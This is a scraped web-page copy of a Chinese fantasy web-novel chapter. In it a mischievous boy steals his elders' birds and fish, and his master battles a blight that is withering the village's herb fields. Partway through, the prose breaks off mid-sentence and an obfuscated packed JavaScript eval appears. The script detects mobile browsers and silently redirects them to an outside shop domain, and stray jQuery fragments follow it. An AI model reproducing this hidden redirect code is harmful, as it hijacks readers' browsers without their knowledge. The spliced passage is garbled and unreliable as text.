文趣网 > 其他小说 > 难归星 > 13. 再现
    不知是命运的眷顾还是阻拦。

    自古徒、苏芒、禺婴城三人那次商议之后,云星迴竟再未犯过梦魇。

    况且,有了玄青旧帛温养,他的身子骨也一日比一日皮实,虽仍是修行不能,但相较以往,他可随各位星主修习更多知识,也得了许多在日光下恣意嬉闹的时光,肤色也晒成了健康的小麦色。

    加之他本就生得眉眼周正,剑眉斜斜入鬓,底下是一双工笔勾勒般的瑞凤眼。

    不知是前世积累了多少委屈,他那茶色瞳仁总似蒙着一层水光般莹润。

    云星迴现如今这般模样,再无往日病气痕迹,活脱脱一个神秀似朗星的少年郎。

    但古徒并未因此松懈,作为云汉圃的守村人与众人的长辈,他始终保持着警惕。

    他不仅时常以不系舟残存的神血为引,试图推演他的踪迹,夜观天象的次数也较以往更为频繁,只为防备躲在猩红巨瞳后的须弥祟再度袭来。

    这光阴流转的七年间,洪钧老祖仿佛施舍般,给予了这方小世界一段安宁。

    在云星迴安然成长之时,几位星主也于修行之余,渐渐重拾了旧日的喜好:古徒时常侍弄起泥炉陶窑,摸索着糕饼火候,苏芒则沉浸于星药的配法与特性之中,而祝愿儿也开始在她的昭明居里研究起各类机关之术。

    不过,另外两位的雅好,则显得有些如履薄冰。

    因为他们需时刻提防着某个云姓小贼。

    这日晴空朗照,加上初夏时节的好风光,本应是心情明媚之时。

    但在闻人翊的千羽轩外,却传来一声凄厉鸡叫。

    “云星迴你个臭小子!诶呀呀,你又……”闻人翊的怒喝声追着一道棕栗色短衫身影传过庭院。

    “完了,全完了,我的青尾古凤啊……”他手持金针,羽翼一展,火急火燎地飞上屋顶的观风巢,却只瞥见那棕衣少年的残影没入了山林。

    “闻人爷爷,是青尾古鸡!”少年声音自林间飘来,带着狡黠,“等我用古爷爷的万兽泥炉烤好,一准儿给您留条腿!”

    “你这行为,在我们凰羽族是命案,命案!”闻人翊对着空林咬牙,只能照旧扔出一句毫无效力的宣判。

    轩内,祝愿儿正给禺婴城肩头敷药,闻言嗤笑:“没想到以严苛著称的闻人大哥,如今倒成了头号苦主。”她又抬眼看向禺婴城,“禺呆子,你今儿来求医,该不会是因为前些天在林里修行,一、不、小、心……又掉进了迴儿挖的机关陷阱,跟野猪王厮守了一夜吧?哈哈哈哈哈。”

    禺婴城面颊抽动,幽幽地叹了口气。

    “远近闻名的悬镜天影卫,竟与野猪同穴而眠,哈……呃!”祝愿儿笑声骤然凝固。

    只因此时一枚金针正正扎在她阳陵泉穴上,酸麻胀感让她动弹不得。

    “你上个月带星迴去通明湖炸鱼,被我的千羽大鹅追啄三里的旧伤,又不疼了?”闻人翊压低声音说道。

    眼下这一针,显然掺了点儿私怨。

    “我好歹曾是赤霄天城天工宗圣……哎哟轻点闻人大哥……圣女!”祝愿儿龇牙咧嘴,“带迴儿见识祖传火药之威嘛……”

    话音未落,只听得村中息壤庐方向猛地传来一声闷响。

    随即,一股灰黑色浓烟翻滚升腾,在半空凝成蘑菇状。

    禺婴城眯起一只眼睛望去,淡淡的说了句:“鸡,吃不上了。”

    他话音未落,脸上幸灾乐祸的神色忽地一变。

    “墨玉石池……我的深海灵鱼!”

    他一拍大腿,扯上半边衣服,瞬间蹿了出去,成了今天第二个去追云星迴的人。

    祝愿儿手里拿着待贴的膏药,闻人翊指间捏着未落下的金针,二人望着他一溜烟消失的背影,面面相觑。

    半晌,闻人翊撇了撇嘴,像是得了宽慰。他装出副老道模样,冲一旁的助手道:

    “羽生,你看,我是不是早劝过他?养什么肥美灵鱼,养点乌龟多好。”

    另一边,念萝山居的药田边,苏芒正俯身探查星药芝田。

    不知为何,一夜之间,原本星力遍布的玉髓芝田竟开始大面积枯萎发黑,芝体上渗出黑液,周遭泥土也都散发着腐烂气息。

    此刻,苏芒正试图运转其青木星力驱散药田间的黑色祟气,只见远处,云星迴正拎着鱼篓,得意洋洋地蹦跳而来。

    那少年的衣摆处,因刚才在息壤庐尝试烤鸡时产生的爆炸,蹭上了点灰,但仍遮不住其上绣着的防护阵纹间流转的星芒。

    “师父!今天加餐!”他扬起鱼篓,一条鳞泛幽蓝的深海灵鱼猛地蹦出,又啪地落回。

    苏芒起身,目光扫过鱼篓里另外几条肥美灵鱼,还有几条已然抱了籽儿。

    他先是私心感叹:嗯……不愧是我家的孩子,鱼挑的不错。

    但很快眼前仿佛浮现出禺婴城漆黑的脸色,苏芒不由得脊背微凉。

    “星迴啊,”苏芒握拳抵唇,清了清嗓子,假意正色说道:“上回从你禺叔叔那儿偷来……要来的玉雪蟹,家里是不是还剩些?再不吃可不新鲜了。”

    “对哦!”云星迴眼睛一亮,虎头虎脑的模样,以拳击掌,“那师父咱们今日先将这些鱼养起来,改日再吃吧!”

    “嗯……总之,咱们先回家。”苏芒趁着禺婴城还没到,紧忙接过鱼篓,拉着云星迴便要回家。

    “苏……苏芒兄,这鱼天生胃口奇好,还是拿回我那养吧。”师徒二人刚要抬脚,禺婴城的声音比身影先至。

    玄衣青年虽不语,但他腰间的流云佩已在振动,云星迴见状紧忙连退三步,又想起对方善遁影之术,索性放弃逃跑,拿出杀手锏。

    那便是,躲在苏芒后面。

    他从苏芒身后歪头漏出一个小脑袋,眨眨眼指着星药田,慌乱岔开话题:“婴城叔叔!您,您看这玉髓芝怎枯了?我来时遇见李伯,他也说头晕得厉害,脸色发灰呢!咱们快去瞧瞧?”

    苏芒与禺婴城对视,神色一肃。

    “星迴,还有何症状?”苏芒没有回身,背手将他从身后带出来。

    “李伯平日里不爱给人添麻烦,他不肯没细说,但我瞧着他眼眶都凹了。”云星迴一脸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867480|212229||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    担忧,“所以婴城叔叔,我本来还想炖点灵鱼汤……啊不,雪蟹羹给他补补的。”

    禺婴城也收起逗孩子的心,抬起手臂摸了摸云星迴的头。

    青袍男子与玄衣青年两相对视,默契已生。

    只见禺婴城手掌一按,地面泉涌,一道水柱冲天而起,其中游鱼化生,摆尾间水光迸溅。

    随着他星力注入,那尾尾晶莹游鱼如得敕令,如跃龙门般挣脱水柱,光流拖尾,朝村落的八卦方位飞天游去。

    霎时间,那八道蓝色弧光在晴照天空下拉起巨大穹顶,将大半个村落笼罩在其中。

    禺婴城先是看向一旁黑气缠绕的玉髓芝田,又看向苏芒:“苏芒兄,我已用游鱼水境盖住了附近药田,感知到这黑色祟气,似乎已经以你居所附近的药田为中心,顺着星药根系传开。而采集星药的村民不似你一般,大多没有修行,被这祟气吸食了生气!”

    苏芒闻言神色凝重,俯身卷起广袖,再度伸手探查。

    参照此前禺婴城所言,他此番调取了更多青木星力注入星药,试图疏通根脉中的祟气。

    未曾料想,那星力竟全然被消融掉了。

    “不好。”苏芒低语之间,感觉那黑色祟气已然纠缠上了自己的青木星力。

    一时间,他竟无法收回星力,且不知为何,这祟气似乎对他有着格外的执念。

    【别想走……女夷的业果……】

    苏芒魂域中,竟响起了这祟气的低语!

    禺婴城见苏芒在田中有异,立刻收回坐镇八方的游鱼,转手抬腕,将其化作数道晶锥,瞬间切走苏芒身上的祟气。

    苏芒反受力量对冲,不觉向后踉跄了几步。

    “师父!”云星迴心焦,忙冲向苏芒。

    不料,那田中黑祟见了云星迴,竟从附于地面的暗涌间暴起,化作数丈高的黑色气浪,向他席卷而来!

    【你护不住他的……】那恶魔般的低语在苏芒的魂域中缭绕不去。

    苏芒在此神识激荡之刻,先是化出数条青藤,卷起云星迴送至禺婴城身侧。

    随即以双指抵上眉心,闭目凝神。

    数息之后,只见缀满滴滴玉露的青藤自他脚下不断涌出,如高台般将他托至半空。

    在这青木王座之上,这位平日素衫儒雅的星主,俨然形貌尽变!

    他身着满布金叶暗纹的青玉战衣,身后由玉藤衍生的光晕如青色日冕般缓缓旋转,光流萦绕。

    其上青叶在生灭之间翠星迸散,仿佛星力已随着怒意不断外溢。

    那祟气仍不知收敛,在苏芒魂域中癫狂讥笑:

    【怎么……这就生气了?】

    但苏芒并未理会,他先是以手指轻点眉心,生出三片光亮叶痕。随即又并指一划,自额际引出一条半透青纱遮住双眸。

    可透过那柔纱仍可分辨得出,他青翠的眸底,正倒映着漩涡般流转的战意。

    那愠怒目光以战神之姿俯视着下方的黑祟之气,在诸番挑衅下,他终于开口回应,其声如金玉相击:

    “妄语!”